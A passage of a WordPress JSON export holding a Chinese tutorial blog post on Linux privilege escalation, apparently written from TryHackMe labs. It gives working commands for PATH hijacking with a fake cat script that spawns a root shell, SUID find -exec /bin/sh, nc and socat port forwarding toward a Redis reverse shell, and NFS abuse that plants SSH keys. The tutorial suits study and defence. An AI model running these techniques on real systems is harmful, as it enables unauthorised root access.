\u6269\u5c55<\/strong><\/h4>\n<p>\u901a\u8fc7\u52ab\u6301\u73af\u5883\u53d8\u91cf\uff0c\u8fbe\u5230\u6267\u884c\u4efb\u610f\u547d\u4ee4\u7684\u76ee\u7684\u3002\u4e0a\u8ff0\u53ea\u662f\u6267\u884c cat \u547d\u4ee4\uff0c\u4f46\u6211\u4eec\u6700\u7ec8\u76ee\u7684\u662f\u4e3a\u4e86\u63d0\u6743\uff0c\u800c\u4e0d\u662f\u4ee5 root \u6743\u9650\u53ea\u6267\u884c\u5355\u4e2a cat \u547d\u4ee4\u3002<\/p>\n<p>linux \u4e0b\u6267\u884c\u547d\u4ee4\uff0c\u5982 cat\uff0c\u662f\u53bb\u73af\u5883\u53d8\u91cf\u67e5\u627e ,\u5c06 cat \u66ff\u6362<\/p>\n<p><strong>\u6d4b\u8bd5\uff1a(echo \"\u5185\u5bb9\" &gt;&gt; cat)<\/strong><\/p>\n<p>\u628a\u65b0\u5efa\u4e00\u4e2a \/tmp\/cat\uff0c\u800c cat \u5185\u5bb9\u4e3a\u6211\u4eec\u811a\u672c\uff0c\u5f53\u7528\u6237\u6267\u884c cat \u547d\u4ee4\uff0ccat \/etc\/shadow\uff0c\u5219\u6267\u884c\u6211\u4eec\u7684\u811a\u672c<\/p>\n<pre class=\"prism-token token language-javascript\"> cat <span class=\"token operator\">&gt;&gt;<\/span> <span class=\"token operator\">\/<\/span>tmp<span class=\"token operator\">\/<\/span>ls <span class=\"token operator\">&lt;&lt;<\/span>EOF \r\n #<span class=\"token operator\">!<\/span><span class=\"token operator\">\/<\/span>usr<span class=\"token operator\">\/<\/span>bin<span class=\"token operator\">\/<\/span>python \r\n print <span class=\"token string\">\"this is not the true cat\"<\/span> \r\n print <span class=\"token string\">\"here is a root shell!\"<\/span> \r\n <span class=\"token keyword\">import<\/span> pty<span class=\"token punctuation\">;<\/span>pty<span class=\"token punctuation\">.<\/span><span class=\"token function\">spawn<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string\">\"\/bin\/sh\"<\/span><span class=\"token punctuation\">)<\/span> \r\n EOF<\/pre>\n<p>\u6b64\u65f6\u518d\u6267\u884c .\/suid-exp\uff0c\u53ef\u6267\u884c\u6211\u4eec\u5b9a\u4e49\u7684\u811a\u672c\uff0c\u56e0\u4e3a suid-exp \u4ee5\u7ba1\u7406\u5458\u6267\u884c cat \u547d\u4ee4\uff0c\u800c linux \u7684 system \u662f\u6839\u636e\u73af\u5883\u53d8\u91cf\u6765\u6267\u884c cat \u7684\uff0c\u539f\u672c\u662f\u9ed8\u8ba4\u7684 cat\uff0c\u5f53\u4fee\u6539\u4e86\u4e4b\u540e\uff0ccat \u5c31\u4e0d\u518d\u662f\u539f\u6765\u7684 cat\uff0c\u800c\u662f\u6211\u4eec\u81ea\u5df1\u5b9a\u4e49\u7684\u811a\u672c\uff0c\u4ece\u800c\u8fbe\u5230\u6267\u884c\u4efb\u610f\u547d\u4ee4\u7684\u76ee\u7684\uff0c\u5373\u53ef\u53bb\u63d0\u6743\u3002<\/p>\n<h4 id=\"9%E3%80%81%E7%AE%A1%E7%90%86%E5%91%98%E9%85%8D%E7%BD%AE%E9%94%99%E8%AF%AF\"><strong>9\u3001\u7ba1\u7406\u5458\u914d\u7f6e\u9519\u8bef<\/strong><\/h4>\n<p>\u628a\u4e0d\u5e26 setuid(0); \u4ee3\u7801\u7684\u7a0b\u5e8f\u914d\u7f6e\u4e86 SUID\uff0c\u6bd4\u5982\u4e0a\u9762\u770b\u5230\u7684 find \u547d\u4ee4\uff0c\u5f53\u6267\u884c find \u65f6\u662f\u4ee5 root \u6267\u884c\uff0c\u5728 find \u7684exec \u540e\u9762\u52a0\u4e0a\u6211\u4eec\u81ea\u5df1\u7684\u811a\u672c\u5373\u53ef<\/p>\n<p>find \u6587\u4ef6 exec '\/bin\/sh' \\ ;<\/p>\n<p>mkdir abc \/\/\u521b\u5efa\u7a7a\u6587\u4ef6 abc<\/p>\n<p>find abc -exec '\/bin\/sh' \\;<\/p>\n<figure>\n<div class=\"image-block\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-643\" data-original=\"https:\/\/byy3.com\/wp-content\/uploads\/2020\/11\/2020112500204630.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" width=\"495\" height=\"123\" title=\"Linux \u63d0\u6743\u7684\u5404\u79cd\u59ff\u52bf\u603b\u7ed3\u63d2\u56fe15\" alt=\"Linux \u63d0\u6743\u7684\u5404\u79cd\u59ff\u52bf\u603b\u7ed3\u63d2\u56fe15\" \/><\/div>\n<\/figure>\n<p>\u4e0d\u8fc7\u8fd9\u91cc\u662f\u5931\u8d25\u7684\uff0c\u6ca1\u6709\u914d\u7f6e\u9519\u8bef<\/p>\n<h4 id=\"10%E3%80%81docker-%E7%BB%84%E6%8F%90%E6%9D%83\"><strong>10\u3001docker \u7ec4\u63d0\u6743<\/strong><\/h4>\n<p>docker\u7ec4\u7528\u6237\u63d0\u6743\uff0c\u76ee\u7684\u662f\u5229\u7528docker\u7ec4\u7684\u7528\u6237\u6765\u63d0\u6743\uff0c\u56e0\u4e3adocker\u7ec4\u7528\u6237\u5728\u5bb9\u5668\u4e0b\u4e3aroot\u6743\u9650\uff0c\u901a\u8fc7\u6302\u8f7d\u65b9\u5f0f\u5728\u5bb9\u5668\u4e0b\u7ed9\u672c\u673a\u6dfb\u52a0sudo\u6743\u9650\u7684\u7528\u6237\uff0c\u4ece\u800c\u53ef\u4ee5\u5229\u7528sudo\u547d\u4ee4\u3002\u5982\u679c\u6ca1\u6709\u62e5\u6709sudo\u6743\u9650\u7684\u7528\u6237\uff0c\u662f\u65e0\u6cd5\u6267\u884csudo\u547d\u4ee4\uff0c\u5728kali\u4e0b\u4f1a\u63d0\u793a\u7528\u6237\u4e0d\u5728sudoers\u7b49\u63d0\u793a\u3002<\/p>\n<p>\u53ef\u4ee5\u53c2\u8003\u6211\u7684\u8fd9\u7bc7\u6587\u7ae0\uff1a \u300aDocker\u63d0\u6743\u5b9e\u6218\u6d4b\u8bd5\u300b \u672a\u5b8c\u6210\u4e2d\u2026\u2026<\/p>\n<h4 id=\"11%E3%80%81%E6%9C%8D%E5%8A%A1%E6%BC%8F%E6%B4%9E\"><strong>11\u3001\u670d\u52a1\u6f0f\u6d1e<\/strong><\/h4>\n<blockquote><p>netstat -antup #\u67e5\u770b\u5404\u79cd\u7f51\u7edc\u670d\u52a1<\/p><\/blockquote>\n<p>\u7136\u540e\u628a\u654f\u611f\u7aef\u53e3\u8f6c\u53d1\u51fa\u6765\uff0c\u7528\u672c\u5730\u7684\u5de5\u5177\u8fdb\u884c\u653b\u51fb\uff0c\u53ef\u80fd\u62ff\u5230\u8fdc\u7a0b root\uff0c\u5373\u901a\u8fc7\u6f0f\u6d1e\u62ff\u5230 root \u6743\u9650 windows \u7528 lcx \u505a\u7aef\u53e3\u8f6c\u53d1\uff0clinux \u7528 nc\u3001socat \u505a\u7aef\u53e3\u8f6c\u53d1<\/p>\n<p><strong>1\u3001redis \u53cd\u5f39 shell<\/strong><\/p>\n<p>nc \u5355\u5411\u8f6c\u53d1<\/p>\n<blockquote><p>nc -l 12345 | nc 192.168.191.170 80<\/p><\/blockquote>\n<p>\u53cc\u5411\u8f6c\u53d1<\/p>\n<blockquote><p>mkfifo backpipe nc -l 12345 0&lt;backpipe | nc 192.168.191.170 80 1&gt;backpipe<\/p><\/blockquote>\n<p>\u53cc\u5411\u8f6c\u53d1\u672c\u4eba\u6d4b\u8bd5\u5931\u8d25\uff0c\u5e0c\u671b\u5927\u4f6c\u4eec\u63d0\u4f9b\u89e3\u51b3\u7684\u529e\u6cd5<\/p>\n<p>socat<\/p>\n<p>\u6d4b\u8bd5\u672c\u5730\u8f6c\u53d1\uff0cservice apache2 start\uff0c\u628a 80 \u7aef\u53e3\u8f6c\u53d1\u5230\u5176\u5b83\u7aef\u53e3\uff0c\u770b\u662f\u5426\u80fd\u8bbf\u95ee\uff0c\u8fd9\u91cc\u6d4b\u8bd5\u6210\u529f<\/p>\n<blockquote><p>socat TCP-LISTEN:8080,fork TCP:192.168.191.170:80<\/p><\/blockquote>\n<p>\u8fd9\u91cc\u53ef\u4ee5\u53c2\u8003\u8fd9\u7bc7\u6587\u7ae0\uff0c\u4f5c\u8005\u5148\u6267\u884c ps -fu root\uff0c\u53d1\u73b0\u5f00\u653e redis \u7aef\u53e3\uff0c\u628a redis \u7aef\u53e3\u8f6c\u53d1\u51fa\u6765\uff0c\u5229\u7528 redis \u53cd\u5f39\u8fdc\u7a0b\u7684 root shell\u3002\u4e00\u6b21\u7b80\u5355 linux \u63d0\u6743:<\/p>\n<blockquote><p>https:\/\/www.secquan.org\/Discuss\/1069715#reply8<\/p><\/blockquote>\n<p><strong>2\u3001nfs \u672a\u6388\u6743<\/strong> \u67e5\u770b\u53ef\u4ee5\u8bbf\u95ee\u7684 nfs \u76ee\u5f55<\/p>\n<blockquote><p>showmount -e 192.168.111.122<\/p><\/blockquote>\n<figure>\n<div class=\"image-block\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-645\" data-original=\"https:\/\/byy3.com\/wp-content\/uploads\/2020\/11\/2020112500215697.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" width=\"405\" height=\"93\" title=\"Linux \u63d0\u6743\u7684\u5404\u79cd\u59ff\u52bf\u603b\u7ed3\u63d2\u56fe16\" alt=\"Linux \u63d0\u6743\u7684\u5404\u79cd\u59ff\u52bf\u603b\u7ed3\u63d2\u56fe16\" \/><\/div>\n<\/figure>\n<p>\u5c06 \/home\/peter \u6302\u8f7d\u5230\u672c\u5730 \/mnt\/peter \u67e5\u770b<\/p>\n<blockquote><p>mount 192.168.111.122:\/home\/peter \/mnt\/peter cd \/mnt\/peter<\/p><\/blockquote>\n<p>ls -la\uff0c\u53d1\u73b0\u6ca1\u6709\u5199\u6743\u9650\uff0c\u4f46\u53ea\u8981 uid \u4e3a 1001\uff0cgid \u4e3a 1005 \u7684\u7528\u6237\u5c31\u53ef\u4ee5\uff0c\u7531\u4e8e\u662f\u6302\u8f7d\u5230\u672c\u5730\uff0c\u672c\u5730\u521b\u5efa\u4e00\u4e2a\u8fd9\u6837\u8d26\u6237\uff0c\u5373\u53ef\u5bf9\u6b64\u76ee\u5f55\u8fdb\u884c\u5199\u6743\u9650<\/p>\n<figure>\n<div class=\"image-block\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-646\" data-original=\"https:\/\/byy3.com\/wp-content\/uploads\/2020\/11\/2020112500221325.jpg\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" width=\"728\" height=\"442\" title=\"Linux \u63d0\u6743\u7684\u5404\u79cd\u59ff\u52bf\u603b\u7ed3\u63d2\u56fe17\" alt=\"Linux \u63d0\u6743\u7684\u5404\u79cd\u59ff\u52bf\u603b\u7ed3\u63d2\u56fe17\" \/><\/div>\n<\/figure>\n<p>ls -l \/mnt\/\uff0c\u53d1\u73b0 uid \u4e3a 1001\uff0cgid \u4e3a 1005<\/p>\n<figure>\n<div class=\"image-block\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-649\" data-original=\"https:\/\/byy3.com\/wp-content\/uploads\/2020\/11\/2020112500254651.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" width=\"546\" height=\"137\" title=\"Linux \u63d0\u6743\u7684\u5404\u79cd\u59ff\u52bf\u603b\u7ed3\u63d2\u56fe18\" alt=\"Linux \u63d0\u6743\u7684\u5404\u79cd\u59ff\u52bf\u603b\u7ed3\u63d2\u56fe18\" \/><\/div>\n<\/figure>\n<p>groupadd -g 1055 boogle\uff0c\u521b\u5efa gid \u4e3a 1055 \u7684\u7ec4 boogle<\/p>\n<blockquote><p>adduser boogle -uid 1001 -gid 1005<\/p><\/blockquote>\n<figure>\n<div class=\"image-block\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-650\" data-original=\"https:\/\/byy3.com\/wp-content\/uploads\/2020\/11\/2020112500261428.jpg\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" width=\"1045\" height=\"778\" title=\"Linux \u63d0\u6743\u7684\u5404\u79cd\u59ff\u52bf\u603b\u7ed3\u63d2\u56fe19\" alt=\"Linux \u63d0\u6743\u7684\u5404\u79cd\u59ff\u52bf\u603b\u7ed3\u63d2\u56fe19\" \/><\/div>\n<\/figure>\n<p>\u6b64\u65f6\u53ef\u4ee5\u5199\u5165\u6587\u4ef6\uff0c\u5219\u751f\u6210 boogle \u7684 ssh \u516c\u79c1\u94a5\uff0c<\/p>\n<figure>\n<div class=\"image-block\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-651\" data-original=\"https:\/\/byy3.com\/wp-content\/uploads\/2020\/11\/2020112500264524.jpg\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" width=\"721\" height=\"395\" title=\"Linux \u63d0\u6743\u7684\u5404\u79cd\u59ff\u52bf\u603b\u7ed3\u63d2\u56fe20\" alt=\"Linux \u63d0\u6743\u7684\u5404\u79cd\u59ff\u52bf\u603b\u7ed3\u63d2\u56fe20\" \/><\/div>\n<\/figure>\n<p>\u5148\u5728 \/mnt\/peter\/ \u76ee\u5f55\u521b\u5efa \/.ssh\/ \u76ee\u5f55<\/p>\n<p>\u672c\u5730\u751f\u6210\u7684 id_rsa.pub \u662f\u5728 \/root\/.ssh\/ \u76ee\u5f55\u4e0b\uff0c\u590d\u5236\u5230 \/mnt\/peter\/.ssh\/authorized_keys\uff0c\u5982\u4e0b\u56fe\uff1a<\/p>\n<figure>\n<div class=\"image-block\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-652\" data-original=\"https:\/\/byy3.com\/wp-content\/uploads\/2020\/11\/2020112500270390.jpg\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" width=\"838\" height=\"272\" title=\"Linux \u63d0\u6743\u7684\u5404\u79cd\u59ff\u52bf\u603b\u7ed3\u63d2\u56fe21\" alt=\"Linux \u63d0\u6743\u7684\u5404\u79cd\u59ff\u52bf\u603b\u7ed3\u63d2\u56fe21\" \/><\/div>\n<\/figure>\n<p><strong>\u603b\u7ed3<\/strong>\uff1a<\/p>\n<p>ls -la\uff0c\u53d1\u73b0\u6ca1\u6709\u5199\u6743\u9650\uff0c\u4f46\u53ea\u8981 uid \u4e3a 1001\uff0cgid \u4e3a 1005 \u7684\u7528\u6237\u5c31\u53ef\u4ee5\uff0c\u7531\u4e8e\u662f\u6302\u8f7d\u5230\u672c\u5730\uff0c\u672c\u5730\u521b\u5efa\u4e00\u4e2a\u8fd9\u6837\u7684\u8d26\u6237\uff0c\u5373\u53ef\u5bf9\u6b64\u76ee\u5f55\u8fdb\u884c\u5199\u6743\u9650\uff0c\u4e0b\u4e00\u6b65\u5bf9\u6b64\u76ee\u5f55\u5199\u5165 ssh \u516c\u94a5\uff0c\u4ee5\u516c\u79c1\u94a5\u7684\u65b9\u5f0f\u767b\u5f55 ssh\uff0cssh peter@192.168.111.122 \u514d\u5bc6\u767b\u5f55\uff0c\u83b7\u53d6 root \u6743\u9650\u3002<\/p>\n<\/div>\n<div class=\"col-2-article-source\">\n<p>\u672c\u6587\u5206\u4eab\u81ea\u5fae\u4fe1\u516c\u4f17\u53f7 - \u6cd3\u6e90\u89c6\u91ce\uff0c\u4f5c\u8005\uff1a\u90ed\u6cd3\u6e90\u00a0 \u00a0 \u00a0 \u5fae\u4fe1guohongyuan \u539f\u521b\u6587\u7ae0\uff0c\u8c22\u8c22\u652f\u6301\uff01\u6b22\u8fce\u8d5e\u8d4f\uff0c\u8f6c\u8f7d\u8bf7\u6253\u8d4f\uff01<img loading=\"lazy\" decoding=\"async\" class=\"wp-image-611 aligncenter\" data-original=\"https:\/\/byy3.com\/wp-content\/uploads\/2020\/11\/2020112304154958.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" width=\"371\" height=\"371\" title=\"Linux \u63d0\u6743\u7684\u5404\u79cd\u59ff\u52bf\u603b\u7ed3\u63d2\u56fe22\" alt=\"Linux \u63d0\u6743\u7684\u5404\u79cd\u59ff\u52bf\u603b\u7ed3\u63d2\u56fe22\" \/><\/p>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>\u8fd9\u7bc7\u8bb2\u4e00\u4e9b\u5173\u4e8e Linux \u63d0\u6743\u7684\u65b9\u6cd5\uff0c\u4e5f\u662f\u8fd9\u51e0\u4e2a\u6708\u4ee5\u6765\u88ab\u56f0\u5728\u6cd5\u56fd\u7981\u8db3\uff0c\u540e\u5728\u5bb6\u5b66\u4e60tryhackme\u7684\u4e00\u4e9b\u5c0f\u603b [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[14,1],"tags":[26,147,353,146,148],"class_list":["post-625","post","type-post","status-publish","format-standard","hentry","category-linux","category-net-security","tag-linux","tag-linux-root","tag-root"],"_links":{"self":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts\/625","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=625"}],"version-history":[{"count":0,"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts\/625\/revisions"}],"wp:attachment":[{"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=625"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=625"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=625"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}